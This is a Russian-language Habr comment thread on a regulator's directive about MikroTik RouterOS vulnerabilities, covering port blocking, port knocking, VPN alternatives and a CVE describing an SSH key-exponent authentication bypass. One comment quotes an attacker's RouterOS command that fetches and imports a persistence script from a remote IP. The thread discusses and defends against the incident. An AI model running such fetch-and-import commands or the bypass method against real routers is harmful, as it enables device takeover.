Комментарии 120
Закреплённые комментарии
Дополнительно, к ранее направленным рекомендациям в качестве компенсирующих мер, предназначенных для временного снижения риска эксплуатации выявленных уязвимостей и обеспечения возможности оперативного выявления реализации угрозы, для абонентов, которым предоставляются динамические IP-адреса, рекомендуем:
исключить доступ из Интернета к административным сервисам маршрутизатора по следующим сетевым портам:
22/tcp (ssh)
80/tcp (http)
443/tcp (https)
2000/udp и 2000/tcp (bandwidth-test)
8291/tcp (winbox)
8728/tcp и 8729/tcp (API и API-SSL RouterOS).В случае, если абонентам предоставляются маршрутизируемые в сети Интернет («белые») адреса из динамического пула оператора связи, увеличить срок предоставления IP-адресов абонентам до 21.09.2026 для возможности обеспечения идентификации абонентов и последующего реагирования в отношении выявленного оборудования.
поставить на мониторинг IP-адреса, предоставленных абонентам с потенциально уязвимым оборудованием, для выявления аномалий сетевого трафика и признаков возможной эксплуатации уязвимостей.
Обращаем внимание, что указанные меры не устраняют выявленные уязвимости и не заменяют обновление программного обеспечения RouterOS. Их применение направлено на временное снижение риска эксплуатации уязвимостей до выполнения обновления либо принятия иных мер по устранению выявленных рисков.
Заблокируют 22-й порт?
Он деградирует.
Так он и так по умолчанию снаружи закрыт
Дополнительно, к ранее направленным рекомендациям в качестве компенсирующих мер, предназначенных для временного снижения риска эксплуатации выявленных уязвимостей и обеспечения возможности оперативного выявления реализации угрозы, для абонентов, которым предоставляются динамические IP-адреса, рекомендуем:
исключить доступ из Интернета к административным сервисам маршрутизатора по следующим сетевым портам:
22/tcp (ssh)
80/tcp (http)
443/tcp (https)
2000/udp и 2000/tcp (bandwidth-test)
8291/tcp (winbox)
8728/tcp и 8729/tcp (API и API-SSL RouterOS).В случае, если абонентам предоставляются маршрутизируемые в сети Интернет («белые») адреса из динамического пула оператора связи, увеличить срок предоставления IP-адресов абонентам до 21.09.2026 для возможности обеспечения идентификации абонентов и последующего реагирования в отношении выявленного оборудования.
поставить на мониторинг IP-адреса, предоставленных абонентам с потенциально уязвимым оборудованием, для выявления аномалий сетевого трафика и признаков возможной эксплуатации уязвимостей.
Обращаем внимание, что указанные меры не устраняют выявленные уязвимости и не заменяют обновление программного обеспечения RouterOS. Их применение направлено на временное снижение риска эксплуатации уязвимостей до выполнения обновления либо принятия иных мер по устранению выявленных рисков.
Их применение направлено на временное снижение риска эксплуатации уязвимостей до выполнения обновления либо принятия иных мер по устранению выявленных рисков.
Хорошо звучит на бумаге.
На практике скорее всего заблокируют всем по аналогии с портами 25, 135–139, 445 и т.д. Их тоже блокировали временно под предлогом безопасности.
И как, простите, попасть на удаленный микрот для обновления, если позакрывали весь менеджмент? Ессно порты не торчали в мир, были открыты только для белого списка адресов.
исключить доступ из Интернета к административным сервисам маршрутизатора по следующим сетевым портам:
22/tcp (ssh)
80/tcp (http)
443/tcp (https)
2000/udp и 2000/tcp (bandwidth-test)
8291/tcp (winbox)
8728/tcp и 8729/tcp (API и API-SSL RouterOS).
Бред какой-то.
Ну, допустим, 22, 8291, 8728 и 8729 у нас и так закрыты. 2000 закроем без проблем.
Но как закрыть 80 и 443, если по этим портам идёт проброс на наш веб-сервер?
Бред какой-то.
Ну почему сразу бред... Конспирологи вам достаточно легко объяснение найдут. А вот как оно на практике получится? Ведь может именно так и получиться...
веб разрешат только в правоверных сертифицированных датацентрах, которыми владеют компании из специального реестра рукопожатых датацентров?
Заблокируют 22-й порт?
Проще - запретят микротов и роутер ось.
Вместо них в приказном порядке продвинут что-нить импортозащемлённое с куркодами и частным знаком, за овердохера деняк.
Моих и твоих деняк.
Проще всего, конечно, запретить микротики.
Всем, кто выставляет оборудование открытыми портами управления в Интернет - так оно и надо. Надеяться исключительно на длину и сложность пароля, ключа и игнорировать угрозу ошибки в реализации протокола глупо.
Похожая история уже происходила в 2018г с уязвимостью winbox+webfig.
Но необучаемых "инженеров" все еще много. К сожалению. Вину во взломе, если таковой случится, они традиционно будут возлагать на вендора. Ибо их мозги далее стадии отрицания собственных ошибок пройти не способны.
P. S. сейчас именно они будут минусить пост. HR, записывайте их в базу :-)
100%
Не-не, тут не взлом пароля, отключенный SSH не поможет. Тут уязвимость была в прошивке, коннект происходил без пароля и с выключенным SSH. Первым делом скрипт включал SSH, устанавливал ключ, создавал пользователя и добавлял в планировщик отсылку состояний в режиме реального времени.
/tool fetch url="http://64.44.141.220:8080/persist_mt.rsc" dst-path=mt_setup.rsc mode=http; /import-memory mt_setup.rsc
Это первый скрипт, который ставил взломщик.
Подождите, подождите. Как при закрытом 22-м порту наружу можно проникнуть внутрь через него же?
Уязвимости именно в реализации SSH (там не OpenSSH, а, похоже, что-то самописное).
Так куда цепляться, если сервис выключен и порт закрыт файрволом?
Немного разочарую вас. Fetch отключили по дефолту в ROS 7.12 теперь ее надо включать через девтулз. У нас так скрипты полетели из-за этого.
Ни в одной из версий не пропадал фетч. В работе более 20 устройств, которые прошли путь от 6.49 до 7.2.24.
Немного расслаблю, ну без пруфов не катить
Это вы дайте пруфы пропадания команды fetch из CLI. И что именно ее там убрало? Вы по скриптам что ли судите или юзеру, где прав не хватает? Команда fetch была, есть и будет во всех версиях. Точка.
Давайте сначала , что такое CLI -Command Line Interface - это ближе к windows
ROS - это Linux based система , там терминал.
И да, фетч отключен в новых версиях.
```Функция
fetchв MikroTik RouterOS действительно может быть отключена, и чаще всего это связано с настройками режима устройства (Device Mode). Это механизм безопасности, который ограничивает потенциально опасные операции для защиты сети в случае компрометации устройства. ```
Всем, кто выставляет оборудование открытыми портами управления в Интернет - так оно и надо. Надеяться исключительно на длину и сложность пароля
А как надо? Допустим, я хочу через Интернет подключаться по RDP к своему компьютеру, недостаточно просто настроить бан по лимиту неудачных логинов (два-три, максимум пять) и регулярно ставить патчи безопасности? Потому что я действительно надеюсь на длину и сложность пароля.
А вообще, это, конечно, классика асоциальщины. В 20 лет: «Я буду курить водку и нюхать думедрол, моё тело — моё дело!» В 50 лет: «Помнемняйте мне пожалумста печенб по ОМС и дайте пемнсию по инвалидности». Почему-то мало кто думает, что твоё личное участие в ботнете влетает в копеечку для окружающих.
Port-knocking, как вариант.
Для сервисных портов торчащих наружу - самое то, и сканеры тогда их не найдут.
Для fail2ban есть готовая утилита под винды, интересно, есть ли что-то под port-knocking. Вдобавок, клиент тоже должен знать условный стук, не так ли? А их раз-два, и обчёлся.
Для клиента можно написать простой скрипт с пингом по портам или с длинной пакетов. В Винде и Линуксе делается с исползованием встроенных инструментов. Для Андроида есть отдельные программы, как в iOS не знаю.
Да, надо будет запускать отдельно перед коннектом, ну или обернуть опять же в скрипт, который будет стучаться перед запуском соединения.
В зависимости от сервера, надо смотреть можно ли там настроить knocking. В Микротике, который тут обсуждается, точно можно написать, да и в любом роутере, вроде, тоже.
Я понял идею, спасибо. Белый список на RDP + предварительное обеление скриптом на сервере и отдельной программой на Андроиде/Винде. Чем таймауты принципиально отличаются от паролей — этого не понял.
Ещё я не понял, только что прочитав вот эту статью, чем так уж плох fail2ban. Оно, конечно, сильно нервирует, когда ботнет перебирает пароли 24/7 по три с каждого нового айпишника… я, в своё время, даже спрашивал у спецов: «Что делать, чтобы это остановить? Мне страшно!», и получил ответ: «Ничего, всё так и должно работать в современном Интернете».
Ну как минимум, через таймауты можно скрыть порты от просмотра и коннекта извне. Того кто не знает предварительную последовательность можно просто дропать. Он даже открытый порт RDP не увидит, и до перебора паролей просто не дойдет.
Ну, вот в той статье, на которую я сослался, написано что-то типа: не будем мудрить, а сделаем просто, постучим три раза через три секунды. Это сколько будет, если в битики перевести? С паролем сравнивать даже как-то смешно, если будут брутить. А они будут. Я знаю, потому что много лет жил под постоянным брутом, сейчас просто отключил это всё.
То, что снизу написано про потенциальные баги в имплементации Майкрософтом — конечно, ничего хорошего от Майкрософта никто не ждёт, но баги имплементации бывают везде. В скрипте, который сгенерирует для порт-нокинга чат-бот, они тоже могут быть. И в fail2ban, к сожалению, тоже.
Портов 65536 (несколько меньше, но это не особо важно), и стучаться можно в десяток легко, еще у пакетов могут быть флаги, еще есть время. 256 бит набрать можно спокойно.
А если допилить до TOTP - то пусть хоть уперебираются.
Портов 65536 (несколько меньше, но это не особо важно), и стучаться можно в десяток легко
Если у атакующей стороны есть доступ к трафику, то вся секьюрность обнуляется с порога.
И потом у провайдеров начнёт срабатывать блокировка сканирования - устанете объяснять каждому.
Если у атакующей стороны есть доступ к трафику
Так я про это написал - https://habr.com/ru/news/1086912/comments/#comment_30466330, и там же предложил решение - не фиксированная последовательность, а тот же TOTP, просто обернутый в пакеты.
Даже банально и в лоб - код TOTP рассчитывается как 123456, кидаем два пакета - 123 байта длиной и 456 байт. Вуаля.
И они приходят в обратной последовательности.
Сужает но не устраняет окно атаки.
По сегодняшним меркам это вообще не защита.
Маскировочная сетка тоже ни от чего не защищает ;) Но используется активно.
"port knocking" - это не защита, а метод скрыть от сканера то, что ему видеть не надо. Можно и vpn использовать для тех же целей, но vpn-like трафик до адреса сейчас сам по себе компрометирующий фактор.
PS: То, что пакеты могут прийти в произвольном порядке - вообще не проблема, делаем не 6 знаков в коде а 9, посылаем три пакета и принимаем их в произвольном порядке. В этом случае у нас будет ещё и в 167 раз стойче :)
Главный практический недостаток этого метода в том, что можно в какой-то момент самому не войти если (и тут длинный список "если").
При этом очередной бэкдор в проприетарной прошивке может спокойно игнорировать все ваши извращения.
А если надо скрыть открытый порт, то лучший способ - его не открывать (использовать вместо него реверс туннелинг например).
Другое дело что проприетарное поделие может открыть порт без вашего ведома и вы в какой-то момент будете единственным, кто о нем не знает.
У меня настроено, к примеру так( размеры укаащ понятно))
пинг сервера с размером 2101 байт
пинг сервера с размером 3506 байт
пинг с размером 1202 байта
пинг с нагрузкой 268 байт
И только, если пинговаться будет в такой последовательности, и с таким размером пакета, только тогда будет открыт порт для коннекта. Остальные пакеты будут отбрасываться по дефолту.
Удачи это подобрать.
Тем более подбирать вроде как и нечего, извне не будет видно открытого порта, чтобы даже пробовать стучаться.
В вашей статье пример с таймаутами самый неудачный из вариантов, ИМХО.
Касательно багов - ну, скрипты всеже нужно отлаживать, а багов в ping'e и netcat'e вроде давно не находили.
Можно закину сюда краткое описание работы knockd. От паролей стук отличается тем, что слушающего сервиса снаружи "не видно", и определить - что там висит и что надо ломать - нельзя.
Скрытый текст
Knockd — это демон для Linux, который реализует технологию port knocking (скрытый доступ к портам), прослушивая сетевой интерфейс и выполняя команды (обычно настройки файрвола iptables) при получении правильной последовательности пакетов.
Как работает knockd
Закрытый сервис по умолчанию: Основной порт (например, порт 22 для SSH) закрыт в межсетевом экране для всех внешних IP-адресов, поэтому сканеры видят порт абсолютно недоступным.
Прослушивание интерфейса:
Демон knockd работает в фоновом режиме и отслеживает весь входящий трафик на указанном сетевом интерфейсе (например, eth0 или enp9s0).
Отправка «стука» (Knocking):
Клиент отправляет короткие пакеты (TCP или UDP) на заранее определенную последовательность случайных портов (например, 7000, 8000, 9000) с заданными флагами.
Проверка последовательности: knockd сверяет поступающие пакеты с комбинациями, прописанными в конфигурационном файле /etc/knockd.conf. Учитывается порядок портов и таймаут (время на отправку всей цепочки).
Выполнение команды: При совпадении последовательности knockd активирует команду из конфига — динамически добавляет правило в iptables или nftables, открывая защищенный порт (например, 22) исключительно для IP-адреса клиента, который постучал правильно.
Автоматическое закрытие: По истечении времени сеанса или при получении обратной последовательности (closing sequence) knockd запускает другую команду, которая удаляет временное правило и снова закрывает доступ.
Недостатки тоже есть, например - ТСПУ может перехватить последовательность пакетов, запомнить ее параметры, и передать для использования сканеру. :) Теоретически это можно решить, сделав последовательность с зависимостью от текущего времени (типа TOTP).
Вы, наверное, хотели спросить чем секретные номера портов для “стука” отличаются от паролей? Принципиально ничем, тут важно что они работают в связке с паролями. Два независимых слоя защиты пробить намного сложнее чем один.
Сколько там этих портов? Не проще ли просто удлиннить пароль на пару символов?
ну вот когда окажется, что даже при логине и пароле в 200 символом RDP будет пропускать на вход кого угодно и приравнивать его к учетке администратора, если первые три символа логина и пароля равны - как Вам ваша надежда на длину пароля поможет?
Именно для этого существует технология VPN. А не для того, чем ее сейчас пытать выдать за противоправное.
На Mikrotik работают wireguard, OpenVPN. Можно и L2TP, SSTP использовать, с родными клиентами Windows.
У меня стоял доступ только с определенного айпи + вайргвард до роутера, чтоб по рдп в пк заходить свой, щас пытаюсь по винбоксу зайти, неправильный логин пароль, винбокс говорит что тунель сбрасывается =)
У меня стоял доступ только с определенного айпи
Довольно ненадёжно, т.к. IP вам не принадлежит (а выдаётся провайдером, у которого, впрочем, его тоже могут отнять) и поэтому может поменяться в любой момент.
Если сервис пробивается с первой попытки, то fail2ban не сможет отработать корректно.
А я плюсану
Иногда потери от взлома оказываются меньше, чем расходы на более заморочные методы администрирования, как мне кажется. Защищать каждую каморку с хламом по тем же протоколам, как и АЭС - нецелесообразно.
Мне кажется, что это очередной виток борьбы с прокси и vpn. Просто закрывают локальный порт 443 и в двухзвенных VPN, конечное устройство на свой домашний сервер, а потом на vps, чтобы не компрометировать vps, придется что-то придумывать.
РКН заботится о вас, поэтому мы заэкспллйтим ваши роутеры и включим только белые списки, а SSH зачем он вам? 🤨
Не хотите возиться со своим микротиком? Провайдер выдаст вам роутер в аренду, но доступа в админку у вас не будет (с)
Можно пойти по другому сценарию же да?
В начале 2026 года Министерство юстиции и ФБР провели санкционированную судом операцию под названием Operation Masquerade, в ходе которой удаленно вмешались в работу тысяч домашних и офисных маршрутизаторов (преимущественно марок TP-Link и MikroTik).
Я попался на этой уязвимости, но мониторинг вовремя меня предупредил. Зловред попал в систему, день выжидал, потом запустил там конфиги. Они конфликтовали с моими, и мне пришло предупреждение, которое я сам настраивал. Открыл, смотрю - новый пользователь, новые конфиги, новые соединения, VPN-ферма, но заработать ей не суждено. Так в системе уже был мой скриптик с предупреждениями... Пришлось быстро разбираться, и я понял, что все дело в старой прошивке. Обновил все 6 микротиков; взломали только один, у которого был белый IP. Теперь в нем есть еще один скриптик для добавления в базу неудачных авторизаций. И делаю еще один, который будет сверять правила, и если есть лишние, то ставить перед ними приоритет на дроп соединения.
ип атакующих из США. 64.44.141.220 и 23.95.217.226
Хозяйке на заметку, многие микротики поддаются перепрошивке в опенврт.
Там просто другая волна будет по openwrt, дыры есть всегда
Проблема в том что нет неуязвимых прошивок, но есть необнаруженные уязвимости, и их может быть сколь угодно. В любом случае, при покупке любого оборудования нужно осознавать риски и готовиться принимать меры, хоть даже пусть и железка с OpenWRT
Там конечно нет никаких уязвимостей и дырок, да.
Для перепрошивки под оврт никто в здравом уме микротики не берет, это неадекватно дорого выходит. То же самое "железо" с шильдиком "нетис" или "сяоми" стоит в разы дешевле.
Нетисы приходят и уходят(меняют железо на несовместимое без смены названия роутера) а микротики есть всегда. От них знаешь чего ожидать.
В опенврт используется открытый софт, тот же опенссх или дропбиар, а в роутерос закрытые самоделки.
Для перепрошивки под оврт никто в здравом уме микротики не берет, это неадекватно дорого выходит.
Sunk cost fallacy. Это не значит что его нельзя перепрошить.
У опенврт есть поддержка, где можно оставить тикет? Обучение с сертификатами? Я не спорю что лучше/хуже, это те ещё фломастеры - но как минимум это очень разное.
Ну и микроты - это заодно свичи, всякие дешёвые 10г роутреры, 100г свитчи и прочее вкусное. HW Offload на свитч-чипы и прочее…
Окей гугол, когда в dropbear была в последний раз открыта дыра через которую можно было зайти снаружи без знания логина пароля и ключа (как это недавно приключилось с роутерос)?
В официальном коде (upstream) Dropbear полноценного обхода авторизации («зайти снаружи без логина, пароля и ключа», как в недавней цепочке эксплойтов MikroTrick для RouterOS в сентябре 2026 года) не было ни разу за всю историю.
Если смотреть на похожие инциденты и близкие по смыслу уязвимости Dropbear:
1. Истинный Auth Bypass (только в сторонних прошивках):
• CVE-2015-7938: В роутерах и шлюзах Advantech EKI демон Dropbear пускал с любым паролем и ключом. Однако это произошло не из-за ошибки автора Dropbear, а из-за грубых модификаций кода самими разработчиками Advantech.
2. Выполнение кода до аутентификации (Pre-Auth RCE):
• CVE-2016-7406: Уязвимость форматной строки при обработке имени пользователя. Формально могла привести к удалённому исполнению кода от root до авторизации, но на практике требовала, чтобы имя с символом % уже присутствовало в системе (getpwnam()).
• CVE-2004-2486: Ошибка в проверке DSS-подписей (освобождение неинициализированной памяти), теоретически позволявшая удалённый захват демона до входа.
3. Свежие уязвимости Dropbear:
• CVE-2025-14282: Часто ошибочно называется «auth bypass», но на деле это повышение привилегий (LPE) — уже аутентифицированный непривилегированный пользователь мог через проброс Unix-сокетов подключиться к ним с правами root.
Архитектурно Dropbear предельно компактен и прост, поэтому классических дыр с прямым обходом логина в оригинальном демоне никогда не появлялось.
У опенврт есть поддержка, где можно оставить тикет? Обучение с сертификатами?
Так вам шашечки или ехать?
Там же надо открытый ключ знать, ип статический был и с историей?
Интересно, а если у провайдера стоит дырявый микротик, то, что, уже аплинк провайдера ограничит 22 порт на всю подсеть этого провайдера, или только на адрес микротика?
А если у главы РКН дома найдется микрот, то его тоже, или «он равнее равных»?
И самое интересное — РКН быстро блочит, но почти никогда официально не делает обратного. Тут они припрягли операторов, а вот как снять блок? Как говорит билайн «наша сеть проблем не имеет, нам не звоните»?
Практически у любого публичного сервиса можно найти состояние безопасности, скажем так, хуже идеального. Тогда государственный сканер превращается уже не в механизм реагирования на конкретную эпидемию, а в огромный внешний блокировщик по диагнозу проблем в безопасности, для всей страны, да еще с правом автоматически менять сетевую доступность чужих систем.
Интересно, а к дырявым d-link, tp-link вопросов нет что ли?
Есть предположение, что конкретно от этого ботнета прилегли технические средства порчи интернета. Так то им до лампочки на ботнеты.
Не так уж и до лампочки. Примерно год назад (или около того) была ядреная дыра в gitlab. Так РКН озадачился, нашел все инсталляции gitlab, напряг хостеров, чтобы они напрягли владельцев серверов и те обновили софт. Конкретно мой хостер прислал в воскресенье мне письмо: у тебя сутки на обновление или погасим сервак.
UPD: нашел тикет. Было в 24 году, а сервак через 12 часов обещали заблочить
Что за бага? Подскажите, пожалуйста. У меня этих гитлабов вагон. Про дыры не слышал ничего.
Уязвимость CVE-2023-7028 присутствует в приложении "GitLab" и затрагивающая следующие версии: от 16.1 до 16.1.6, от 16.2 до 16.2.9, от 16.3 до 16.3.7, от 16.4 до 16.4.5, от 16.5 до 16.5.6, 16.6. до 16.6.4 и от 16.7 до 16.7.2. Ее эксплуатация позволяет злоумышленнику получить доступ к любой учетной записи GitLab на уязвимом сервере посредством отправки запроса на сброс пароля на произвольные адреса электронной почты. Более подробная информация о данной уязвимости находится по ссылкам ниже: https://nvd.nist.gov/vuln/detail/CVE-2023-7028 https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
Вообще в гитлабе периодически находят различные баги разной степени всратости. И если ваша версия гитлаба уязвима особо всратой дырой, при заходе админским аккаунтом будет предупреждение.
Уязвимость обнаружили эксперты CERT Polska, примерно три недели назад. Достаточно громкая новость была. РКН не мог не отреагировать.
Но почему РКН среагировал в этот раз? Они обычно отмалчиваются, ну или возможно мне просто не попадались новости от них по данным поводам
https://habr.com/ru/news/1086912/comments/#comment_30467044
при особо ядреных уязвимостях бывает реагирует, но в новостях да, обычно тишина
Потому что исторически массово используется в объектах критической инфраструктуры, и в текущей ситуации потенциально могут быть интересны для атаки, не хуже НПЗ.
Вот и зашевелились.
А туполинки - это домашние юзеры, до которых серьезные организации не опускаются
Похоже, тема пошла развиваться - СМИ: РКН выписал штрафы 85 операторам связи за непредоставление IP-адресов абонентов для предотвращения DDoS-атак
И обсуждение там было как раз по теме того, что есть уязвимое оборудование и возможные варианты действий.
Так что апдейтим роутеры и следим за тем, какое оборудование мы выставляем в Сеть :)
Интересно, а бытовых пользователей микротик это касается? Ведь до сих многие верят в миф, что "микротик достаточно один раз настроить и забыть". Так и пишут в отзывах восторженные покупатели, да. Помнится была похожая история с микротик в 2018 году, после которой я отказался от этого производителя.
специалисты «Главного радиочастотного центра» (ГРЧЦ, входит в структуру Роскомнадзора) направили российским операторам связи поручение
поручение? а что, так можно было? российские операторы выглядят будто подчиненные подразделения РКН, что впрочем неудивительно при текущем съезжании в командно-административную экономику, но в норме как будто это должно быть “рекомендацией”.
Можно ещё и не так. Услуги связи - контролируемый и лицензируемый вид деятельности. Как и ЦБ с Минфином (не только в РФ) тоже в основном не рекомендации раздают банкам и биржам.
Они по каждому инциденту будут номера портов для блокировки рассылать?
Или как-то наведут порядок в отрасли чтобы провайдеры сами справлялись?
Вопросы риторические.
Какой вам ещё порядок понадобился? Уже так всё упорядочили, дальше некуда. Или вы имеете в виду ввести такой порядок, чтоб отзывать сертификацию у всех продуктов и у Микротиков в частности за размещение бэкдора в прошивке? Успеют. Нормально они разослали, инструкцию, которую даже самый тупой и ленивый техник у провинциального провайдера сможет понять и выполнить. А самый тупой и ленивый проверяющий сможет проверить, выполнено оно или похерено.
А как это разруливают в "нормальных" странах?
Добавляют номера портов в конституцию.
В нормальных странах выпускают запрет на использование и продажу техники засветившегося производителя. Или даже техники определённой страны происхождения.
Там запрещают не засветившегося, а неудобного. По вашей логике в продаже сетевого оборудования вообще не останется.
В "нормальных странах " запрещают роутеры произведенные за рубежом, только отечественных производителей. https://habr.com/ru/articles/1017544/
CVE-2026-67276 Detail
RouterOS does not compare the complete RSA public key when matching an SSH authentication request to an authorized user key, checking the key type and modulus but omitting the exponent. Because signature verification uses the client-supplied key, an attacker knowing an authorized RSA modulus can supply a key with exponent one, forge a valid signature, and open an SSH command channel as the target user without the private key.This issue affects only 7.x branch was fixed in versions: 7.23.4 (Long-term) and 7.24.2 (Stable)
Давайте называть вещи своими именами. Это не уязвимость, а бэкдор, так как просто найти ключ по значению гораздо проще, чем искать совпадение по одному из параметров. Тот, кто знает детали этой реализации, может пройти по специально подобранному ключу. Непосвященные пользователи ничего не замечают. Они успешно подключаются своими ключами, и получают ошибку при попытке использования постороннего ключа. Закрывайте порты на роутерах, друзья.
Здесь должен быть фрагмент из "Собачье Сердце": "Это какой-то позор!"
Что-то я не пойму, откуда такая обеспокоенность сверху? Разве есть какая-то угроза для большинства обычных пользователей, у которых как правило и белого IP нет?
А у тех у кого есть, думаю и так достаточно грамотные, чтобы бюллетени безопасности читать.
Пойду, обновлюсь...
В этом году МГТС прошивку роутера D-Link DIR-842 S1 удалённо мне обновил. Стал искать проблему из-за появившихся отвалов сети. На ванильный dlink прошить не удалось, пришлось сменить роутер.
Не большая польза от РКН есть. Микрот по дефолту, это вполне надёжная железка с хорошо настроенным с завода фаерволом. И если туда очумелые ручки или мамкины админы не залезут, то работать будет действительно годами.Пока блок питания не сдохнет. Про взлом дефольных конфигов я не слышал -). Настройка ROS требует знаний и вдумчивого чтения документации, ибо на микротик админ может всё и даже больше.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
В РКН поручили операторам принять меры по борьбе с уязвимостями в MikroTik на своих сетях и у российских абонентов